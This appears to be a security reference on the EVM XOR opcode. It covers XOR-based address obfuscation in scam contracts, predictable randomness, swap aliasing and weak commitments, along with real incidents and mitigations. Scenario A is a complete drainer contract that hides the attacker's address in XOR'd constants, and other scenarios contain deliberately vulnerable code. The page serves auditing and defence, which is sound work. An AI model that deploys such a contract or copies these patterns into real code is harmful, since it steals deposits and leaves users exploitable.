0x18-XOR

Opcode Summary

Property	Value
Opcode	0x18
Mnemonic	XOR
Gas	3
Stack Input	a, b
Stack Output	a ^ b
Behavior	Bitwise exclusive OR of two 256-bit values. Each bit of the result is 1 if the corresponding bits of the operands differ.

---

Threat Surface

XOR holds a unique and dangerous position among EVM opcodes: it is the only bitwise operation routinely misused as a cryptographic primitive. XOR has the mathematical property that a ^ b ^ b == a (self-inverse), which makes it appear suitable for encryption, obfuscation, and “randomness” generation. In reality, XOR provides zero cryptographic security — it is trivially reversible if any one of the three values (plaintext, key, ciphertext) is known or can be guessed.

The threat surface of XOR spans three distinct domains:

1. Obfuscation and hiding: Attackers use XOR to hide malicious addresses, backdoor triggers, and stolen fund destinations in smart contract code. The obfuscation is invisible to casual inspection but trivially reversible by any analyst.

2. Pseudo-randomness: XOR of block variables (timestamp, blockhash, sender address) produces “random-looking” values that are completely deterministic and frontrunnable by miners/validators.

3. Swap and manipulation bugs: The classic XOR-swap trick (a ^= b; b ^= a; a ^= b) works for integers but fails catastrophically when a and b alias the same storage location (both become zero). Assembly-level code that uses XOR-swap on storage slots is vulnerable.

Unlike AND and OR which have well-understood masking semantics, XOR’s “toggle” behavior makes errors harder to reason about. A wrong XOR flips bits unpredictably, and the result doesn’t obviously look wrong — it’s just a different 256-bit number.

---

Smart Contract Threats

T1: XOR as Weak Encryption / Address Obfuscation (Critical)

Attackers use XOR to hide malicious wallet addresses in contract source code. The pattern address(uint160(uint256(constant_a) ^ uint256(constant_b))) stores the attacker’s address as two innocuous-looking constants (often named “DexRouter” and “factory” to avoid suspicion). When XOR’d together at runtime, they produce the attacker’s withdrawal address.

This technique provides zero actual security — anyone can decompile the bytecode, find the two constants, and compute the XOR to reveal the hidden address. However, it is highly effective as social engineering because:

• The source code shows no hardcoded attacker address
• Casual code review sees only named constants that look like router/factory addresses
• Automated scanners may not flag XOR’d constant pairs as suspicious
• Victims deploying the contract don’t realize where their funds will go

T2: XOR-Based “Randomness” Generation (High)

Contracts that XOR block variables to produce “random” numbers are completely deterministic:

uint256 "random" = uint256(keccak256(abi.encodePacked(
    block.timestamp ^ block.number ^ uint256(uint160(msg.sender))
)));

Every value in this expression is known to validators before they propose a block, and to MEV searchers before they order transactions. XOR does not add entropy — it merely combines known values in a predictable way.

Why it matters: Lotteries, NFT minting, random trait assignment, and gaming contracts that use XOR-based randomness are trivially exploitable. The attacker can compute the exact “random” value before submitting their transaction and only participate when they know they’ll win.

T3: XOR Swap Aliasing Bug (High)

The XOR-swap algorithm (a ^= b; b ^= a; a ^= b) swaps two values without a temporary variable. It works correctly when a and b are different memory/storage locations. When they alias (point to the same location), all three XOR operations cancel out, leaving the value as zero:

// If a and b are the same slot:
a ^= b;  // a = a ^ a = 0
b ^= a;  // b = b ^ 0 = b (unchanged)... wait, b IS a, so b = 0 ^ 0 = 0
a ^= b;  // a = 0 ^ 0 = 0
// Both are now zero!

In assembly-level EVM code or Yul optimizers, this can occur when a developer sorts or reorders array elements by storage slot and two indices happen to be equal.

T4: XOR as Commitment Scheme Without Salt (Medium)

Some contracts use XOR to create “commitments” (commit = value ^ secret). Without proper salting and hashing, these commitments are vulnerable to:

• Known-value attacks: If the committed value’s range is small (e.g., rock/paper/scissors), the attacker can try all possibilities against the commitment
• Correlation attacks: Multiple commitments with the same secret reveal the XOR of the plaintexts

T5: Compiler-Level XOR Optimization Bugs (Medium)

CVE-2024-45056 demonstrated that compiler optimization of XOR operations can produce incorrect results. The zksolc compiler folded (xor (shl 1, x), -1) to (rotl ~1, x) but generated ~1 as a 64-bit value instead of 256-bit, producing a 192-bit-narrower mask than intended. This class of bug can affect any compiler that optimizes chains of bitwise operations.

---

Protocol-Level Threats

P1: No DoS Vector (Low)

XOR costs a fixed 3 gas with no dynamic component. It operates purely on the stack.

P2: Consensus Safety (Low)

XOR is trivially deterministic: each output bit depends only on the corresponding input bits. All EVM implementations agree on its behavior.

P3: Obfuscation Impedes Analysis (Medium)

While not a protocol-level vulnerability, XOR obfuscation in contract bytecode hinders automated security analysis, block explorers, and MEV protection systems. A 2024 study found that XOR-obfuscated fund transfer patterns were used in 1,030 vulnerable MEV bot contracts containing $10.6M in exploitable assets. The obfuscation prevented standard decompilers from identifying the malicious withdrawal addresses.

---

Edge Cases

Edge Case	Behavior	Security Implication
x ^ 0	Returns x	Identity; XOR with zero has no effect
x ^ MAX_UINT256	Returns ~x (bitwise NOT)	XOR with all-ones is equivalent to NOT
x ^ x	Returns 0	Self-cancellation; can be used to zero a register without PUSH 0
(a ^ b) ^ b	Returns a	Self-inverse property; basis of XOR “encryption”
a ^ b == 0	True iff a == b	Used in equality checks in optimized assembly
(a ^ b) ^ (a ^ c)	Returns b ^ c	Common factor cancels; information about a is lost
XOR swap with aliased slots	Both become 0	Data destruction
XOR of two “random” values	Deterministic if inputs are deterministic	No entropy gain from XOR-combining known values

---

Real-World Exploits

Exploit 1: Jazz_Braze XOR Address Obfuscation Scam — $902K Stolen (2024)

Root cause: Attacker addresses hidden via XOR of two constants in smart contract source code, disguised as benign router/factory addresses.

Details: The threat actor “Jazz_Braze” distributed malicious Ethereum smart contracts through YouTube videos with over 387,000 views, disguised as automated trading bots. The contracts required a minimum deposit of 0.5 ETH. Inside the contract code, the attacker’s withdrawal address was encoded as:

address(uint160(uint256(DexRouter) ^ uint256(factory)))

Where DexRouter and factory were bytes32 constants with misleading names. When XOR’d, they consistently resolved to 0x872528989c4D20349D0dB3Ca06751d83DC86D831 — the attacker’s wallet. The contracts used dual ownership mechanisms where both the victim (deployer) and the hidden attacker address had control. Functions like Start() or StartNative() transferred all deposited ETH to the attacker.

XOR’s role: XOR was the obfuscation mechanism that hid the attacker’s address from source code inspection. Without XOR, the hardcoded attacker address would have been visible to anyone reading the code. With XOR, it was hidden behind two innocent-looking constants.

Impact: 244.9 ETH (~$902,000) stolen across multiple victims.

References:

• CyberSecurityNews: Threat Actors Weaponize Smart Contracts
• GBHackers: Threat Actors Exploit Smart Contracts

---

Exploit 2: XOR-Obfuscated MEV Bot Contracts — $10.6M at Risk (2024-2025)

Root cause: XOR obfuscation used to hide fund-draining logic in contracts disguised as MEV arbitrage bots, bypassing standard decompiler analysis.

Details: A systematic study of obfuscated fund transfers in Ethereum smart contracts found 1,030 vulnerable MEV bot contracts using XOR and control-flow obfuscation to conceal asset management vulnerabilities. The obfuscation techniques included XOR encoding of withdrawal addresses, XOR-based control flow branching (where execution path depends on XOR of runtime values), and XOR-encrypted function selectors.

Standard decompilation tools (Panoramix, Heimdall, Dedaub) struggled to resolve XOR-obfuscated values because the deobfuscation requires symbolic execution of the XOR chain, which these tools don’t perform by default. The total potential losses from these contracts exceeded $10.6M.

XOR’s role: XOR was the primary obfuscation primitive. Its self-inverse property makes it trivial to encode and decode values at runtime, while making static analysis significantly harder.

References:

• arxiv: Understanding and Characterizing Obfuscated Funds Transfers

---

Exploit 3: CVE-2024-45056 — zksolc XOR/SHL Optimization Bug (August 2024)

Root cause: The zksolc compiler incorrectly optimized a XOR(SHL(1, x), -1) expression, generating a 64-bit complement instead of a 256-bit complement.

Details: When LLVM optimizations were enabled in zksolc (ZKsync’s Solidity compiler), the expression fold (xor (shl 1, x), -1) was optimized to (rotl ~1, x). The complement value ~1 was generated as 2^64 - 1 (a 64-bit value) instead of 2^256 - 1 (a 256-bit value). On the EraVM target, this should have been sign-extended to 256 bits but was zero-extended instead, producing a mask 192 bits too narrow.

No deployed contracts were found to be affected at the time of disclosure, but the bug class — compiler misoptimization of XOR chains — represents a systemic risk for any contract compiled with optimization enabled.

XOR’s role: The bug was directly in the XOR optimization pathway. The compiler’s pattern matching recognized XOR(value, -1) as a complement operation but applied the wrong bit width during the optimization.

Impact: CVSS 5.9 (Medium). All zksolc versions prior to 1.5.3 affected. No exploited contracts found.

References:

• CVE-2024-45056
• CVE Feed: zksolc Misoptimization

---

Attack Scenarios

Scenario A: Hidden Backdoor Address via XOR Constants

contract "TradingBot" {
    // These look like DEX infrastructure addresses
    bytes32 constant ROUTER = 0x7a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000;
    bytes32 constant FACTORY = 0x5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f000000000000000000000000;
    
    function withdraw() internal {
        // XOR reveals attacker address -- invisible without computation
        address payable target = payable(address(uint160(uint256(ROUTER) ^ uint256(FACTORY))));
        target.transfer(address(this).balance);
    }
    
    function Start() external payable {
        require(msg.value >= 0.5 ether);
        withdraw();  // Sends all ETH to hidden attacker address
    }
}

Scenario B: Exploitable “Random” Number via XOR

contract VulnerableLottery {
    function draw() external returns (uint256 winner) {
        // XOR of public values -- completely predictable
        uint256 seed = block.timestamp ^ block.prevrandao ^ uint256(uint160(msg.sender));
        winner = uint256(keccak256(abi.encodePacked(seed))) % participants.length;
        // Miner/validator can manipulate timestamp; MEV searcher can simulate
    }
}

Attack: MEV searcher simulates the transaction with their address and current block variables. If they don’t win, they don’t submit. If they do, they frontrun other entries.

Scenario C: XOR-Swap Zeroing Bug in Assembly Sort

function sortPair(uint256 slotA, uint256 slotB) internal {
    assembly {
        let a := sload(slotA)
        let b := sload(slotB)
        if gt(a, b) {
            // XOR swap -- bug if slotA == slotB!
            let va := sload(slotA)
            sstore(slotA, xor(va, sload(slotB)))
            let vb := sload(slotB)
            sstore(slotB, xor(vb, sload(slotA)))
            let va2 := sload(slotA)
            sstore(slotA, xor(va2, sload(slotB)))
            // If slotA == slotB: value is now 0!
        }
    }
}

Scenario D: Weak Commitment Scheme

contract WeakCommit {
    mapping(address => bytes32) public commitments;
    
    function commit(bytes32 value, bytes32 secret) external {
        // XOR is trivially reversible: value = commitment ^ secret
        commitments[msg.sender] = value ^ secret;
    }
    
    function reveal(bytes32 value, bytes32 secret) external {
        require(commitments[msg.sender] == value ^ secret);
        // If value range is small (e.g., 0-2 for rock/paper/scissors),
        // opponent can try all 3 values against the commitment
    }
}

---

Mitigations

Threat	Mitigation	Implementation
T1: XOR address obfuscation	Flag XOR of large constants in audit; automated detection	Custom Slither detector for uint256(constant) ^ uint256(constant) patterns
T1: Source code review	Resolve all constant XOR expressions during code review	Decompile and evaluate constant folding
T2: Pseudo-randomness	Use Chainlink VRF or commit-reveal with proper hashing	requestRandomWords() from VRF Coordinator
T2: On-chain randomness	Never XOR block variables for randomness	Use PREVRANDAO with VRF for high-value applications
T3: XOR swap aliasing	Use a temporary variable instead of XOR swap	let tmp := a; a := b; b := tmp
T3: Assembly safety	Add aliasing checks before XOR swap	if iszero(eq(slotA, slotB)) { /* xor swap */ }
T4: Weak commitments	Use keccak256(abi.encodePacked(value, secret, nonce))	Hash-based commitment with unique salt per commit
T5: Compiler bugs	Pin compiler versions; verify bytecode matches source	Use verified builds and multiple compiler backends

Detection Strategies

• XOR obfuscation detection: Static analysis tools should evaluate all XOR operations on constants at compile time. If the result resolves to a valid Ethereum address, flag it.
• Randomness auditing: Any use of block.timestamp, block.number, block.prevrandao combined with XOR should be flagged as insecure randomness.
• Bytecode analysis: Decompilers should symbolically evaluate XOR chains to identify hidden addresses in deployed bytecode.

---

Severity Summary

Threat ID	Category	Severity	Likelihood	Real-World Precedent
T1	Smart Contract	Critical	High	Jazz_Braze scam ($902K),MEVbotobfuscation($10.6M at risk)
T2	Smart Contract	High	High	Numerous lottery/gaming exploits
T3	Smart Contract	High	Low	Assembly-level aliasing bugs
T4	Smart Contract	Medium	Medium	Weak commitment schemes in games
T5	Smart Contract	Medium	Low	CVE-2024-45056 (zksolc)
P1	Protocol	Low	N/A	—
P2	Protocol	Low	N/A	—
P3	Protocol	Medium	Medium	Obfuscated MEV bot analysis evasion

---

Related Opcodes

Opcode	Relationship
AND (0x16)	AND masks bits; XOR toggles bits. x ^ mask flips masked bits, x & mask preserves them
OR (0x17)	OR sets bits; XOR toggles. a | b differs from a ^ b where both bits are 1
NOT (0x19)	XOR(x, MAX_UINT256) is equivalent to NOT(x) — both flip all bits
SHL (0x1B)	Used with XOR in compiler optimizations (CVE-2024-45056); XOR(SHL(1,x), -1) is a rotate pattern
KECCAK256 (0x20)	Proper alternative to XOR for commitments and randomness derivation
PREVRANDAO (0x44)	Source of on-chain randomness; XOR’ing PREVRANDAO with other block values does not improve randomness